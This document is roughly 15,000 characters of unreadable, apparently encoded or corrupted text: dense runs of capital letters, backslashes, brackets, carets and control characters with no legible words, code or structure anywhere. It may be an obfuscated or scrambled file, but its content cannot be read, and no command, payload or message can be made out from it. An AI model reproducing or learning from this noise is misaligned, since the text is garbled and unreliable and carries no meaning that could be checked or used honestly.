X_E\]\UDEIU
YX]2UDMMMKKMMEIU
YX]2UMMPPPMMOOMMMMI]Z2Z^UMMPPPMMOOMMMMM2 EI]Z2Z^UAMMIX[2
AMJQJDDDMMU2_T
Z
ET2_\_\EUUZDAMMI[X
AMM2[
^EUUUDDVgMMEI\X^X UAMI2
XT
Z
AMMIX]2	DVgMMMMMMMMMET2_\_\E\]\UDEIU
YX]2UDMMKKM[_
 E\]\TDEIU
YX]2UDMSMMMMEYTZF^DMMKKM]]
X_E\]\TDEIU
YX]2UDMMQPMMME\[[TTX^@[_\^ZZDMMMMKKMMMMLY ]^]XEIU
YX]2UDMMKKMM]TX^EIU
YX]2UDMKKMMMT2_\_\E\]_]DEI[X
DMMMMLPPMMM2[
^E\]_\DEIU
YX]2UDDMMMMMgMMI 2X2	MMMPMVgMgggMggMEI 2X2	DMgMMME]]
X_ETYTDE2[
^E\]__DDDMgMMMMMMMM2E2[
^E\]]TDAMMMM\AME^X^_F[UDDVgMgVgggMMgBGMM MGBgggggMMMMMME	2 
UXUTETXXEDDDMMgMMVgMMMMMgBGM@	M@MGBggI^X2MMPM]]
X_ETU^DETXXEDDVgggMMMMMMMMMMELMM-[_
 ETYUDEI^X2DDMMMMgMMMMMMZ^\2 EI^X2AMMMETY[@YX^DAMDVgMgMI]
MMPMMMMMM_		T
U_E[_
 EUUZDAMMOODVgMMMMMMELI]
MMMMMMML[_
 E\]\UDEI]
DDMMMgMEL
2ET2_\_\E\]_^DDDMMMgMM]Y\
\[ZE]]
X_E\]_YDAM]]
X_E\]_XDDVgMMMM2ET2_\_\E\]_[DAMMMM\AMME]Y^F]_	DDVgggMgMgMMMMMMEI]
MKKM]]
X_E\]\UDEI]
DMMKKM2[
^E\]\TDEI]
DMSMMEYUUF\_DMKKMM2[
^E\]_ZDEI]
DMMQPME\]YUYZTFTZDMMKKMLY ]^]XEI]
DMMMMKKM]TX^EI]
DDMMgBBM:	=M[C[MM	
MMggIX2	MMMMPM_\Z 2EI]
DVgMMMMMMMEIX2	MMMMLPPMMMOOMMMMKKMMM2 EIX2	AMMMMT2 _U_ EDAMMMJQJDDMMMMgVgMgggMI2XMMMMPMM[_
 E\]_UDETXXEDDMMMMMCM[_
 E\ZTDMCMMMM]]
X_ETZTDETXXEDAMM[_
 ETUXDDVgMMMMMI	X__^MPM-]]
X_EUZ]DEI2XDMMRMMM[_
 E[[_DEE
DM-T2_\_\E\]_TDEI2XDDMWMOOVgMMMMMMEI	X__^MMMMLPPMOOMKKMM[_
 E\]_\DEI]
DMPPPMMMI	X__^DMMgggMMVgMMgggg    ^U]ETXXEDAMMMMME^XXF[XDDVgMMMI
\MMMMPMYY2T  ^\ETXXEDAMMUT_[_YEI]
DDVgMMMMMMMEI
\DMMgMMMMM\\_ ETXXEDDVg    ^U]ETXXEDAME_]_FT]DDVgMMMMYU	XT]2ETXXEDDVggM] UX_^^EDVgM[^22TEDVgMMMMMMM\X[_2	ETXXEDDVgMME]]
X_E\]^]DE]]
X_E\]__DDDMMMgg2E]]
X_E\]]TDAMMMM\AME^X[\F^TDDVgMgMMMMMET2_\_\E\]^\DE]]
X_E\]^_DDDMgMMMM2E]]
X_E\]^^DAM\AME\Z_[FZYDDVgMgMMgMMMME9MMMMI

ZDMMMMgMM]Y\
\[ZET2_\_\E\]_YDAMI

ZDVgMMMMMMME(MMMMI

ZDMMggggggMgMMMMMM
T
_T
EDgMMgggMZ^Y[[  ^E[_
 E\]^YDAMMM2[
^E\]^XDDVgZ^Y[[  ^ET2_\_\E\]^[DAMMMT2_\_\E\]^ZDDVgME2[
^E\]^UDE[_
 E\]^TDDDMMg 2E]]
X_E\]Y]DAM]]
X_E\]Y\DDVgMMMM 2E[_
 E\]Y_DAMM[_
 E\]Y^DAMMMMEZF^DDVgMMMMM 2E[_
 E\]YYDAM[_
 E\]YXDAMMME\FTDDVgMMMgMgMMM]]]]_^TEDgMMMgMMMMgBBM:=M/.WM		MggMMMMMMI	MMMPMMMMMI*!"/,!>6]]
X_E\]Y[D0VgMMMI^UZU_2MPMMMMI	@SMMMMMCMMMMM[_
 E\]YZDVgMMMI\]_MMPMJ>JMMMCMMM]]
X_E\]YUDMCMMI	@SMMMMMCMMMM2[
^E\]YTDMMCMMI	@S MMMCMM[_
 E\]X]DVggggMMMMMI	@S
2EI	@SEI\]_AMMI^UZU_2AMM]]
X_E\]X\DDDVgMMMMMMMMMME9MMMI

ZDMMMMMgMMMMMM]Y\
\[ZE[_
 E[YUDAMMMI

ZDVgMMMMMMMME(MMI

ZDMMMMgMMggMMMMEDVgMMgM22^[ 2T__EI	ZXDgMMgBBM	M 
@ggI	^MMMPMMMMEDVgI]T
	YYMMMPMMMMEIX^	DMgIX^	6]]
X_E\]X_D0MMMMPMOOVgMMMMMIX^	VgMMVgMMMMMgMMMMELMM[_
 E\]X^DE[_
 E\]XYDDMMMMMLM]]
X_ETZZDET2_\_\E\]XXDDDMgMMMI	^VgMMgMMMMELMMMT2_\_\ET[]DEI	ZXDMMMMM EI	ZXDDMMMMgMI	^VgMgI\_][MPM]]
X_EXXYDEDMMMFMMMME]F]YDMMGMMMME[Y__UF__\Z_DVgMI2MMMPMM]]
X_E\]X^DE]]
X_EX\YDDMMMMMKKMMMMMM2EDVgMI2_	_MPMMMI2MRMMM]]
X_E\]X[DMWMMMMT2_\_\E\]XZDVgI	 U
]
	Y	UMMPMMMMMMI2MMMRMMME		E]]
X_E\]XUDDMMMMRM>(.8?(2,89%2.""&$(MMWMMMMOODMMMWMME		E]]
X_E\]XTDDMMMMMRMM,89%2.""&$(MMMMWMMOODVgMMMMMMMMI TMMMPMM		E[_
 E\][]DDMRM!"**()2$#2.""&$(MMMWMMMOOVgMMMELMI	 U
]
	Y	UMMMMLMI TDMgMMI	^VI^_UPX^GZVIUYPI^_U@\]VgMgMMMI\	TMPMM		E]]
X_E\][\DDMMMMKKMMM.""&$(2)" ,$#MMMRM2[
^E\][_DE.""&$(2)" ,$#AMMJCJDMWMM	Z[ Z ]Y_TEOODVgMMMI
Y
^2\\[ZT^MPMMMMMM		ET2_\_\E\][^DDMMRMM.""&$(=,9%MMMMWMMJBJVgMMI]Z^	 2_MPM		E2[
^E\][YDDMMRMMMMM,) $#2.""&$(2=,9%MMMWMT2_\_\E\][XDVgMI

2UMMMMMPMMI2MMMMMRMMMM[_
 E\][[DMMWMM]]
X_E\][ZDVgMI 	^ZYZ[MPMO1OVgMMZ^Y[[  ^E]]
X_E\][UDAMMMI]T
	YYAM]DVgI_T]22YZ  MPMMT2
]ZU	ET2_\_\E\][TDDVgI__]\Y][2MMPMMMT2_\_\E\]X^DE2[
^EZ[^DDMMRM-
2EI_T]22YZ  AMEDDMMMMWMMMEDVgMMMMMMEL2[
^ET[]DEI__]\Y][2DDMMMI__]\Y][2MMMMPMMMEDVgMMMMMMMIT\2MMMMMPMVgIX^YTMMMMPMM]VgMMMMMEI	ZXMMMMMIY2^_Y_\DMMMgMMMMMELMM2[
^ET^XDEIY2^_Y_\DMMMMMMMMLMMIY2^_Y_\@S$)MMLMMMMIY2^_Y_\@S2
DMMgMMMVgMgMMMMEIX^YTMMSPMMMMME\__3\_\DDMMMMgMVggBGMMMGBggMMI
YYZMPME
DMMIY2^_Y_\@S2
VggggMMMMEEI__]\Y][26I
YYZ0DMMMMMKKMMEDMMMI__]\Y][26I
YYZ0MMSMMMM2[
^EXXYDEDMMMMMFM_MMMGMMMEU[^YUFX_DDMMMMIPZ[\_VIZ	_U[2PIH\_VgMMMMVgMMgMM22	EIY2^_Y_\@S$)AM]]
X_E\]Z]DDVgMMMMMIXY
MPM
22 EIY2^_Y_\@S$)AMMM]]
X_E\]Z\DAMMDVgMMMMMMME]]
X_ET[]DEIXY
DMMMMKKMM]]
X_EZTUDEIXY
DMSPMETF\DDMMMMgI]TXX\X2 MPMMEDVggggMMMMMMMMMEIXY
MMMMMI]_XTMMMMPSMMMIT[^Y_DMMMgMMMMMMMMEEIT[^Y_6]]
X_E\]Z_D0DMMMMMKKMMIT[^Y_6]]
X_E\]Z_D0MSM2[
^EXXYDEDDMMMMgMMMMMMMMI]TXX\X2 6I]_XT0MPMMMIT[^Y_VgMMgMMMMgMMME2[
^E\]Z^DEI]TXX\X2 DMMLPPMMM2[
^E\]Z^DEIXY
DDMMMgM	22 EIY2^_Y_\@S$)AMMM2[
^E\]Z\DAMMMI]TXX\X2 DVgMMMMMMMgggMgMMMMMM22	EIY2^_Y_\@S$)AM2[
^E\]Z]DDVggIU^ \MMPMM]]
X_E^]UDEE]]
X_E\]XXDAMMM[_
 E\]ZYDDAMMMMMMIY2^_Y_\@S$)DVgMI2UXMMMPMMMMMIU^ \@SEI\_][DVgITYMMMPMEDVgMITY60MMPMI\	TMMCMMMI 	^ZYZ[MMCMM]]
X_E\][[DMMMCMMI 	^ZYZ[MMMMCMI
Y
^2\\[ZT^MMMCMMMMMI 	^ZYZ[MCMI

2UMMMCMMI 	^ZYZ[MCMI\_][MCMI 	^ZYZ[MMCMI TMCMMMMI 	^ZYZ[MMMCMMM2[
^E\]ZXDEIY2^_Y_\@S$)AMMI\_][AMMMM[_
 E\]Z[DAMMMI2UXDVgMMMMMMEI	 U
]
	Y	UDMMgMMITY60MMMMPMMMI\	TMMMMMCMMI 	^ZYZ[MMMCMMMM[_
 E\]ZZDMMMMMCMMMMMI 	^ZYZ[MCMMMMI]Z^	 2_MMCMMMI 	^ZYZ[MMCMI

2UMMMMMCMMMI 	^ZYZ[MMMCMI\_][MMMMMCMI 	^ZYZ[MMCMI	 U
]
	Y	UMMCMMI 	^ZYZ[MMMCMMMM]]
X_E\]ZUDEIY2^_Y_\@S$)AMMI\_][AMMMMI2_	_AMMMMI2UXDVgMMMgBBM?	MMWM	M 
@ggMI	^6IY2^_Y_\@S2
0MMMPMMITYVggggMMMMMI__]\Y][26I
YYZ0MPMMMMI\_][VgMIT\2MMPMMVgMIX^YTFFVgMgMMMMEIT\2MMMMKKM]]
X_E\]ZTDE[_
 EUZTDDDMgMMMM-	2EI_T]22YZ  AMI__]\Y][2AMMMM[_
 EUUUDDVgMMMgMMMMMMMMME9MMMMMI

ZDMMgMMMM]Y\
\[ZE2[
^E\]U]DAMMI

ZDVgMMMMMMMME(MMMI

ZDMMgMMMMMgBBMMM	gggMMM 2E]]
X_E\]U\DAMMI]T
	YYAM]DVgMMMI	^VgMMMMgMMMMMMTYUY\2Z_EI
X2Y
	DgMMgBGM MMGBggMMMMET2_\_\E\]U_DEI
X2Y
	DDMMMMI
X2Y
	VgggMMMME2[
^ET[]DEI
X2Y
	DMMKKMMMEI
X2Y
	6JJ0DMKKMMT2_\_\E\]U^DEI
X2Y
	6JJ0DDMMI
X2Y
	6JJ0VgMMMMMOOVgMMgMMMMMMMM][2 _Z ZEI	ZXDgMMMMgMIMMMMMPMMMMEDVgIY	_	YMMMMPMME
DM_		T
U_ET2_\_\E\]UYDAMMMMMOODVgMMMMIX			_XMPMMME
DM_		T
U_E[_
 E\]UXDAMMOODVgMMMMMMMEIY	_	YMMLPPMMMOOMKKMIX			_XMMMMLPPMMMOODMMMIUZP=%=2$#92 ,5B=%=2$#92 ,5VI]
 PIUZFZ]VgMMI6IY	_	Y0MMPMMMMMMIX			_XVgMMMggggI_MPMM_		T
U_E2[
^EXUZDAMEDDVgMMMMMMMME]]
X_E\]U[DEI_DDMMMMgBBMM	 M
gI\\_P_\[\[TVIYPI\\_3\X]VgMMMEI_MMMI
T]	XXMMMMMMPSMIZ^]T2
DMggggI 2YZUMMMMPMMMTYUY\2Z_EIZ^]T2
DVgggMMMMMMEI 2YZUMMLPPMOODMI6E
DMI
T]	XX0MMPMMI 2YZUVggBBM@	M ggMMMgMMMMMIVgMMMMMgMMMY	 \ ZEI
T]	XXAMMMMMI	YZ	ZAMMMMMIZTXDggggMMgMMMMMMMMMELMM]]
X_ET^XDEI
T]	XXDMMMMMLMM]]
X_E\]UZDEI
T]	XXAMT2_\_\E\]UUDDDMMgggMMMMI
T]	XXVgMgMMMMMMMMELMI
T]	XX@S2E]]
X_EU\ZDDDMMgMMMMMMI
T]	XXVgMMMMMMgMMMMMMELMMM]]
X_E\]UTDEIZTXDMMMMMMMMMLMMMIZTXDMMgMMMI
T]	XXVgMMMMMgI_MMMMPMMMM_		T
U_E]]
X_EXUZDAMMEDDVgMMMMMELMMM2[
^E\]U[DEI_DDMggggMI_MMPMMMMEDVIX]Y_P\^FXXVI Y]
PIX]Y_@_\VggggMMMMMMMgMMEI_MMMMMMMMMMIU2XZMPSMMMMI
_U]X _DMMgI^UU		MPMMM[_
 E\]U[DEI
_U]X _DMMMMMMKKMMMEI
_U]X _6[_
 EXT_D0DMRMMEDMMMI
_U]X _62[
^E\]T]D0MWMMM]VgMMMMMMEI^UU		MMKKMI^UU		MQMMT2_\_\EXXYDEDM@MMMMME]_^Z\ZF]X_	TDDMMEI_6IU2XZ0DVggI_6I
T]	XX@S2
0MMPMMMEJJMMPSMMIZTXAMMMMT2_\_\E\]T\DMMMPSMMMM]]
X_EXXYDEDAMM]]
X_EXUTDMMMPSMM]DVgMU2_T
Z
E2[
^EXUZDAMI_AMMM]]
X_E\]T_DDVgMMMMMME9MMI

ZDMMMMgM]Y\
\[ZE]]
X_E\]T^DAMMMMI

ZDVgMMMMMME(MMMI

ZDMgBGM
@	M
MGBggMMgMMMMMMMMMMI
T]	XXVgMMMMMgMMMMM[2		ZYEI

Y
T _TAMI
T]	XXDgMMgMMMMggggMMMMMEL[_
 E\]TYDEI

Y
T _TDMMMMI

Y
T _TMMMPPPMOODMVgMMMMMMggMMMI_MMMPMMM_		T
U_E[_
 E\]TXDAMEDDVgMMMMMEL[_
 E\]U[DEI_DMMMMMMMMMLEI_6I

Y
T _T0DDMMVgMMMMMMI

ZMPMI_6I

Y
T _T0VgggMMMMMMMME2[
^E\]U[DEI

ZDMMKKM EI

Z6T2_\_\EXUTD0DDMMMggggMMMMMI_6I

Y
T _T062[
^EXUTD0MMMMPMMMMM\VgMMU2_T
Z
E[_
 E\]TXDAMI_AMM[_
 E\]T[DDVggMMME9MMMIUX
	DMMMMMgBBM	 M
@ggMMMM]Y\
\[ZE[_
 E\]TZDAMMIUX
	DVgMMMME(MMMIUX
	DMMgggMMMgMMggggMMMMMMMMM
X^\\UEI	ZXDgMMgMMELMMT2_\_\E\]U[DEI	ZXDDMMgMMVgggggI __T	

MPM]ZZY[^YEDVgMMMMEI	ZXMMMMMMMIY2^_Y_\DMMMgggMMEI __T	

MMMMI^U\\2DMgME2[
^EZZDE2[
^E\]TUDMMCMMT2_\_\ET[^DEI^U\\2AMJBJDMMMCM[_
 E\]TTDAMIY2^_Y_\@S2
DDMMMgMMMMMMMIY2^_Y_\VgMMMMgMMgBBMM@MM. M	ggMMMMMMMggggMMMVggMgMMMMMMMMT_
	
  \XEI\ZAMI	Y]\	^Y
^[Z^DgMMMMMMMgMMMM2[
^E\]\[DE[_
 E\]_\DEI\ZDAMMM]AMMMI	Y]\	^Y
^[Z^DVggMMMM
	Z]	XX22EIXZ_Y\DgMMMgggMMMMMMEL2[
^E\\]]DEIXZ_Y\DMMMMMMMIXZ_Y\MPPPMMOOMMMML		E]]
X_ET\\DDDMMMMVgMMMMggMMMMI
]2MMMPMVgMMMMMEI
]2MMMPPPMMMMDMMMggMMMI
]2MMMPMMMMMEgMMMT_
	
  \XE,/>=,9%MMMCMM2[
^E\\]\DAMEYQQ\DDMMMMCM]]
X_ETUXDAgT_
	
  \XE,/>=,9%MMMMMCM[_
 E\\]_DAME\]@_DDMMMCM[_
 ETUXDAggMDVggMggMMMEI
]2MMMMIX2DMMMgMMMMMMME]]
X_E\]\ZDEIXZ_Y\AMMIX2DMMLPPMDMMVgggggMMMMMMMMMMMVggggMMMMgggMMMM
^\ ]_EI	Y]\	^Y
^[Z^DgMMMggggMMT_
	
  \XE	EE
DMMMMM]]
X_EZZ^DEDAMMMMMDAMI	Y]\	^Y
^[Z^DVggMMMUT_[]_ ^	EI\X	DgggMMMMMgMMMMMMEL[_
 E\]ZTDE[_
 EZ[^DDDMMMMMVgMIY U MMMPMM
2E2[
^E\\]^DAMEDDVgMMMMMMMMEL2[
^E\]U[DEIY U DDMMMMMMMVggggMMI_]_ MMMPMMM2[
^E\]_\DEI\X	DVgggMME EIY U 6I_]_ 0DDMMMMVgggMMMMMI 2YZUMMMPMM]]
X_E_][DEJJAMME
DMIY U 6I_]_ 0DVgMMMMMI	]XMMMMMMPMMMEI 2YZU6\0DMMMMRMMEDMMI 2YZU6\0MWMMM]VgMMMMMMMMMMEI	]XMMMMSMMMMM]MMMMKKMMMM2[
^EXXYDEDMM@MI	]XMMMMQMMEU[^X^FYZDDVgggMMMMMMgMM\X	 2U 
T]EI\X	AMMI ZUT XDgMMMMgMMMMMMMMMEL[_
 E\]ZTDET2_\_\EZ[^DDMMMML[_
 E\]ZTDE2[
^EUZTDDDMVgMIY U MMPMMMMM
2E[_
 E\\]^DAMMMMMEDDVgMMMMEL]]
X_E\\]YDEIY U DDMMIY U MMMPMMMMEDVgMMggI_]_ MMPMMM[_
 E\]_\DEI\X	DVgMMMMMMELI ZUT XDMgBGM M@MGBggMMMMMEEIY U 6I_]_ 0DDMMMMIY]XTP@[TUVI\2^ZTPEIY]XTS]DRIY]XTW@IY]XTVgMMMMEIY U 6I_]_ 0DVgMMM	2E2[
^E\\]^DAMIY U DVIU2 PE]\F]YDVITZT \PIU2 H^VgMMgMMVgMgMI MMPMM]VgMMMMEL EIY U 6I_]_ 0DDMMMMIY^P=%=2 ,'"?2;(?>$"#VI^]PIY^G_VgMMMMMMI 2YZUMPMM]]
X_E\\]XDEJJAME
DMMIY U 6I_]_ 0DVgMMMMMMMI MMMPMEDMMI 2YZU6]0VgMMMMMMgMMMI FFVgI	]XMMMPMEI MMMMMMSPMMME_XX3_X_DDMMMMRMMMMMT2_\_\EXXYDEDMMMMMWMMMMM]VgMEIY U MMMMMI^ Y] ^MPSMMMMIX]	]\ XYDMI [ZXPUZGXVI[UU\PI [ZX@^ZVgMIXZ_Y\MMPMMM2[
^E\\]XDEJJAMME
DMIX]	]\ XYDVgMMMMMMEL EIXZ_Y\6\0DMMMMKKMM2[
^EXXYDEDM@MEDMIXZ_Y\6\0MMMSMMME\Z_ZT[FYDDMMMMMMEIY U 6I^ Y] ^0DVgMggggMMMMMMIY U 6I_]_ 0MPMMMI MMMMCMMMJJMCMI	]XVgMMMMMM	2E[_
 E\\][DAMMMMIY U DVgMMMgggMZ []Y[ XEI\X	AMMI]]	DgMMggMMMEL]]
X_E\\]]DEI]]	DDMMVgMMMI][ MMPMMMMM\^	]X\ XE2[
^E\]_UDEI\X	DAMMMM[_
 E\\]ZDDVgMMMMEI][ MMMLPPMMDMgMMMMME-T2_\_\E\\]UDEI][ AMMMMI]]	DMMMPPPMT2_\_\E\\]TDEI]]	DMMMKKMM X 
Y\^	EI][ AMMMMI\X	DDMVgMMMMM__2EI][ DVgggMMMMMgMMMMMM-]]
X_E\\]UDEI\X	AMI]]	DVggMMYY2T  ^\EI\X	AMMMMI^DgMgMI 	[TX2YMPMM[_
 E\\\]DEI\X	DVgMMMMMMMMEL-]]
X_E\\\\DEI 	[TX2YDDMMMg]Y\
\[ZE[_
 E\\\_DAMT2_\_\E\\\^DMCMMMMMM[_
 E\\\YDEI\X	DDVgMMMVgggMMMMMMgMMMMMI^2 	^2MPMET2_\_\E\]\[DEI\X	AM@E_^Z3_^^DDMMMMMPPPMM2[
^ETUXDDVgMMMMEI^2 	^2MMMMMKKMMMMMML]TX^EI^DDMMMgMMM]Y\
\[ZE]]
X_E\\\_DAMM]]
X_E\\\XDMMMMMCMMM2[
^E\\\YDEI\X	DDVgMMMMMVgggMMMMMgMMMMMMEI^2 	^2MMMKKMUT_[]_ ^	EI\X	DDMMMMMVgMMI[	[MMPMVgMMMMMMME-T2_\_\E\\\[DEI\X	DDMMMMI[	[MMPMMVMgMMMI]]	MPMMMMVgMMMIZX  YMPMMVgMMMIX^UMMPMVgMMMMMMMMMMMME-2[
^E\\\ZDEI\X	DMMKKMML-T2_\_\E\\\UDEI\X	DDMMMMgBBMM		ggMMMMMIZX  YMMMMMPMMMVgMMMMMMIX^UMMMMPMM- EI\X	DVgMMMMMMMMMMEIX^UMMMMPPPMDMMIX^UMMMMMMPMMVgMMMMMMMMME-[_
 E\\\TDEI\X	DMMQPMMMME]\X]]F]\Z\X]DDMMMI]]	MMMPMMM-]]
X_E\]_TDEI\X	DVgMMMMgMMMMMMELT2_\_\E\\_]DET2_\_\E_YDDDMMI 
P^XFY^VI
[	YPI 
@_UVgM]Y\
\[ZET2_\_\E\\_\DAM]]
X_E\\__DMMCM2[
^E\\_^DEI\X	DDVgMMMMVgMMgMMMMMIZ]	XU
MPMMMVgMMMMI	2\	\_2MMMMPMMVggggMI2MMMMMMPMM[_
 E\\]TDEI^DVgMMMMMEIZ ]MPMMMMM]VMIZ ]MMQMMMMMM_VMMIZ ]FFDMMMMggggIZ]	XU
MPMM\^	]X\ XEI 	[TX2YAM]]
X_EU^UDDVgMMMMMMMEIZ]	XU
MLPPMMMDMgI	2\	\_2MPMMVgMMMMIXZ_Y\MMPMM-[_
 E\\^DEIZ]	XU
AMMMMM2[
^E\\_YDDVgMMMMMMEIXZ_Y\MMMMMLPPMMDMMgggIXT	2[T_ MMPM]VgMMMMMMEIXT	2[T_ MMMMMQMI2DMMMMMgMMMIY	\XMMMMMPMMM-]]
X_E\\_XDEIXZ_Y\AMMMMM]]
X_E\]\[DEI^AMIXT	2[T_ DDVgMMMMMMEIY	\XMMMMPPPMMMMMMMMIY	\XMMPPPMMM]DMMMMMVgMIXT	2[T_ MMFPMIY	\XVggMMMMMMMMgBBMM 		gg-EIXZ_Y\DVgMME2[
^E\\_[DE[_
 E\\_ZDDDM-EIXZ_Y\DVgMMMMMM-EIXZ_Y\DVgMMMMMEIXT	2[T_ MMMPPPMI2DMI	2\	\_2MMMPMIXT	2[T_ VgMMMMMMMMMMgMI	2\	\_2MMPM-T2_\_\E\\]UDEIZ]	XU
AMMI^DVgMMgMMMMMMMMEI	2\	\_2MLPPMMMMMMKKMI	2\	\_2MMMPPPMMI2DMMVgM__2EIZ]	XU
DVIY]_2PYYGUVIT^2	X^PIY]_2@YYVgMMMIZ]	XU
MMMPMMVggMMMMgMMMEIZ]	XU
MPPPMMDMMgMM]Y\
\[ZE[_
 E\\_\DAMT2_\_\E\\_UDMMCMMM[_
 E\\_^DEI\X	DDVgMMMMVgMMMMMMgMMMMMMMEI	2\	\_2MMPPPMMMMMMMMMI	2\	\_2MMMMLPPMMI2DMMggggMMMM]Y\
\[ZET2_\_\E\\_\DAMMMT2_\_\E\\_TDMMCM[_
 E\\_^DEI\X	DDVgMMM__2EIZ]	XU
DVgMMMMVgMMMMgBBM- @M@@
ggggMMEIX^UMMLPPMDM-2[
^E\ZDEIZ]	XU
AMIX^UMKMMMEY_ZFUYDDVgMMMMMI]MPM X 
Y\^	EIZ]	XU
AMI\X	DVggMMMELI]MMMMKKMMIZX  YMKKMMLI[	[DMMgMMMMMMMME-2[
^E\\^]DEI\X	DDMMMMM    ^U]EI\X	AMMMMMME^YUFZ_DDVggggIT	\TT	MPMMMI\X	MCM2[
^E\\^\DMMMMCMMMM2[
^EZZ^DEET]YFT[DAMMMETT^[F[^DDVgMMME X 
Y\^	EI\X	AMMMMMIT	\TT	DDMgMMMMMI]MMMPM X 
Y\^	EIZ]	XU
AMI\X	DVgMMMMEI]DMMgMMMM__2EIT	\TT	DVgMMMMMMMMI ^]P[]X]VI
2 PI ^]H_VgMMMMMEL X 
Y\^	EIT	\TT	AMMMI\X	DMKKMMMMML]	 \XZ	TEIT	\TT	AMMI\X	DDMMMMMgMZ []Y[ XEI\X	AMI]]	DVgMMMMMMgMMMMEL-[_
 E\\^_DEI\X	DDMMMMMgMZ []Y[ XEI\X	AMI]]	DVgMggMMMgMMMMMgMMgMMMMMMMMMELI]MMMMMKKMMMLI[	[MMMMKKMLI^2 	^2DMMMMMgMMMMME-2[
^E\\^^DEI\X	DDMM    ^U]EI\X	AMEZX[@^^[DDVgMMME]	 \XZ	TEIZ]	XU
AMMMI\X	DDMgI]MMMMMMPMMVgMM__2EIZ]	XU
DVgMMMMMMMgMgggMMMMELI]DMMMMgBBM:=M,M9WM MgIX\	 P@T^_VI [T[U_ \PEIX\	 S]DRIX\	 W@IX\	 VgMMME-2[
^E\\^^DEI\X	DMKKMMMMEDMM-]]
X_E\\\TDEI\X	DMMLPPMMI2DMgMMMI		[_ZTMPMMMMMM-[_
 E\]_TDEI\X	DVgMMMMMMMMEL[_
 E\\]]DEI		[_ZTDMMME2[
^E\\]]DEI]]	DMMKKMMMI		[_ZTMMMMLPPMMMI]]	DDMMMMgMMMMMMMET2_\_\E\\]]DEI]]	DDMMZ []Y[ XEI\X	AMMMMI]]	DVgMMMMMELIZX  YDMMMM__2EI\X	DVgMMMMgMEI		[_ZTDVI

PZVI  
2Y_PEI

S]DRI

W@I

VgMMMgBBM	MMM:=M=
M!gggMMMMEL-2[
^E\\^^DEI\X	DDMMMMMgMZ []Y[ XEI\X	AMMI]]	DVgMMMMMMMgMMMM]Y\
\[ZE2[
^E\\_\DAM[_
 E\\^YDMMMMMCMMMMMT2_\_\E\\_^DEI\X	DDVg__2EIZ]	XU
DVgMMMMVgMMMgMMM-EAMI\X	DVgI_YY
XMMPMVgMMMEI2MQPMMMMMME_]TZ]XUFTYDDMgMMI2
^	MPMMMMM-T2_\_\E\]_TDEI\X	DVgMMMMI_YY
XMPMMMMMET2_\_\E\\]]DEI2
^	DMMMMKKM]]
X_E\\^XDEI2
^	DMMMMPPPMMMMI2MMMKKMMM]]
X_E\]_\DEI2
^	DMPPPMM2[
^E\]_\DEI^DDVggggggMMMMMMMMMMMMgMMMIXU2[MMPMMM2[
^E\\^[DE[_
 E\\^ZDDMMRMMM-2E]]
X_E\]_\DAMI\X	DMMMWMMMVgME[_
 E\\]]DEIXU2[DMKKMMIXU2[MMLPPMOODMI_YY
XMPMEIXU2[MMPPPMMMMMM2[
^E\]_\DEI^DDVgMMMgMMMIU^ZMMMMPMMMMM-2[
^E\\\TDEI\X	DVgMEIU^ZMPPPMMMI2DMgI2XYZUMMPM-[_
 E\]_TDEI\X	AMMMAMMAMM]AMEY]Y_FXYDDVgMMMMI2MPMMM-[_
 E\]_TDEI\X	AMMAMMMAMMMI2MM@MMMME[^^_@__^[DDVI \
\\P^UGTVI	^__	TPI \
\\@Y]VggggMMMMMI_YY
XMMPMMME2[
^E\\]]DEI2XYZUDMMMMKKMMMM[_
 E\\]]DEI2DMMKKMMMMMMI2XYZUMMMMPPPMMMMT2_\_\E\\^UDEI^AMMM]AMMMEY]XUF^UDDMMKKMMMI2MMPPPMT2_\_\E\\^UDEI^AMMI2MMMMM@MMMMEY]\[FU]DDDVggMgMMMgggMMgMMMELI_YY
XDMMgMMMMMMM]Y\
\[ZE[_
 E\\^TDAMT2_\_\E\\Y]DMMMCM[_
 E\\_^DEI\X	DDVgMMMMMMEI^2 	^2DMM\X	 2U 
T]EI\X	AMMDVggggMME2[
^E\\Y\DEI]]	DDMMMMggMMI[\U\_^MPMMMT2_\_\E\\^[DE[_
 E\\^ZDDMMMMRMMMMMM-2E]]
X_E\\Y_DAMMMMMMI\X	DMMMMMWMMVgMMMMMME]]
X_E\\Y\DEI[\U\_^DMKKMMMMI[\U\_^MMMLPPMMMMMMOOMKKMI[\U\_^MMLPPM[_
 E\\Y_DEI^DMMKKMMMMMMI[\U\_^MLPPMT2_\_\E\\Y_DEI]]	DDMMgM]Y\
\[ZE2[
^E\\^TDAMM[_
 E\\Y^DMCMMMT2_\_\E\\_^DEI\X	DDVgMMMMggMMMMMMMVggMggggI2Y^^MMMMPMMM\^	]X\ XEI 	[TX2YAMMT2_\_\EU^UDDVgMEI2Y^^MMLPPMMMMKKMMM-]]
X_E\\YYDEI2Y^^AMI]]	DMPPPMMM[_
 E\\^XDEI]]	DDMMMgMMMMMMEL X 
Y\^	EI2Y^^AMMMI\X	DDMMMMMgMMMMMME-T2_\_\E\\^^DEI\X	DMMMKKMLI[	[DM    ^U]EI\X	AMME^T]F^]DDVggMMMELI[	[MMMMKKM]	 \XZ	TEI2Y^^AMMMMMMI\X	DDMMMgMMMM__2EI2Y^^DVgMMMMMMMggMMM-]]
X_E\\YYDEI\X	AMMMI]]	DVg__2EI2Y^^DVgMgMgMMMMMgMMEI2Y^^MMLPPMDMMMMM__2EI2Y^^DVg-2[
^E\\YYDEI\X	AMMI]]	DVgggMMMMMgBBM
M gg\X[_2	EI\X	DVgMMMELIZX  YDMMMgMMMMM__2EI\X	DVggMMMVggggMMMgggMMM\X[_2	EI\X	DVg\\_ EI\X	DVgMMM    ^U]EI\X	AMMME^_TFT\DDVggMMMMMMEI^2 	^2DMM\X	 2U 
T]EI\X	AMMDVgMMMMMMMMMMMMVgMMgMMM	[]XY\_]^[EI\X	AMMMMMI\
YDgggMMMI	]_[	MMPMMMMMMOQR1OVgME[_
 E\\Y\DEI\
YDMMKKMMI\
YMLPPMOOMMMKKMM]]
X_E\]\ZDEI\
YAMMMMT2_\_\E\\YXDDMMMMMLPPMMMMKKMM]TX^EI\
YDDMMMI	]_[	MMMMMMPMMMMI\
YVgMMME-[_
 E\\Y[DEI\X	DDMMMMgBBMMgITU^2Y]P@TXVI
_2\\2\2PEITU^2Y]S]DRITU^2Y]W@ITU^2Y]VgMMMMMI[2

T^2_[MMMMPMMMM-[_
 E\]_TDEI\X	DVgMMME]]
X_E\\Y\DEI[2

T^2_[DMMKKM2
	

EI[2

